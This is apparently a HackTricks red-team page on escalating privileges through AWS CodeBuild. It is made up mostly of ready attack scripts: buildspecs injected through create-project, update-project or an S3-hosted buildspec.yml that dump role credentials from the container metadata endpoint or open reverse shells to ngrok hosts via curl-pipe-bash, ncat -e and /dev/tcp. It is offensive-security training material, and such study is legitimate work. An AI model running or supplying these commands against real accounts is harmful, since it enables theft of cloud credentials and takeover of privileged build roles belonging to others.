AWS - Codebuild Privesc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

codebuild

Get more info in:

pageAWS - Codebuild Enum

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

An attacker with the iam:PassRole, codebuild:CreateProject, and codebuild:StartBuild or codebuild:StartBuildBatch permissions would be able to escalate privileges to any codebuild IAM role by creating a running one.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
    \"name\": \"codebuild-demo-project\",
    \"source\": {
        \"type\": \"NO_SOURCE\",
        \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
    },
    \"artifacts\": {
        \"type\": \"NO_ARTIFACTS\"
    },
    \"environment\": {
        \"type\": \"LINUX_CONTAINER\",
        \"image\": \"aws/codebuild/standard:1.0\",
        \"computeType\": \"BUILD_GENERAL1_SMALL\"
    },
    \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Potential Impact: Direct privesc to any AWS Codebuild role.

In a Codebuild container the file /codebuild/output/tmp/env.sh contains all the env vars needed to access the metadata credentials.

This file contains the env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI which contains the URL path to access the credentials. It will be something like this /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Add that to the URL http://169.254.170.2/ and you will be able to dump the role credentials.

Moreover, it also contains the env variable ECS_CONTAINER_METADATA_URI which contains the complete URL to get metadata info about the container.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
    \"name\": \"<codebuild-demo-project>\",
    \"source\": {
        \"type\": \"NO_SOURCE\",
        \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
    },
    \"artifacts\": {
        \"type\": \"NO_ARTIFACTS\"
    },
    \"environment\": {
        \"type\": \"LINUX_CONTAINER\",
        \"image\": \"aws/codebuild/standard:1.0\",
        \"computeType\": \"BUILD_GENERAL1_SMALL\"
    },
    \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Potential Impact: Direct privesc to any AWS Codebuild role.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Like in the previous section but without the iam:PassRole permission, you can abuse this permissions to modify existing Codebuild projects and access the role they already have assigned.

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
    \"name\": \"codebuild_lab_3_project\",
    \"source\": {
        \"type\": \"NO_SOURCE\",
        \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
    },
    \"artifacts\": {
        \"type\": \"NO_ARTIFACTS\"
    },
    \"environment\": {
        \"type\": \"LINUX_CONTAINER\",
        \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
        \"computeType\": \"BUILD_GENERAL1_SMALL\",
        \"imagePullCredentialsType\": \"CODEBUILD\"
    }
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

Potential Impact: Direct privesc to attached AWS Codebuild roles.

SSM

Having enough permissions to start a ssm session it's possible to get inside a Codebuild project being built.

The codebuild project will need to have a breakpoint:

phases:
  pre_build:
    commands:
      - echo Entered the pre_build phase...
      - echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

And then:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

For more info check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

An attacker able to start/restart a build of a specific CodeBuild project which stores its buildspec.yml file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process.

Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml 

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

You can use something like this builspec to get a reverse shell:

buildspec.yml
version: 0.2

phases:
  build:
    commands:
      - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges.

Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the buildspec.yml from the root directory, zip again and upload

More details could be found here.

Potential Impact: Direct privesc to attached AWS Codebuild roles.

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated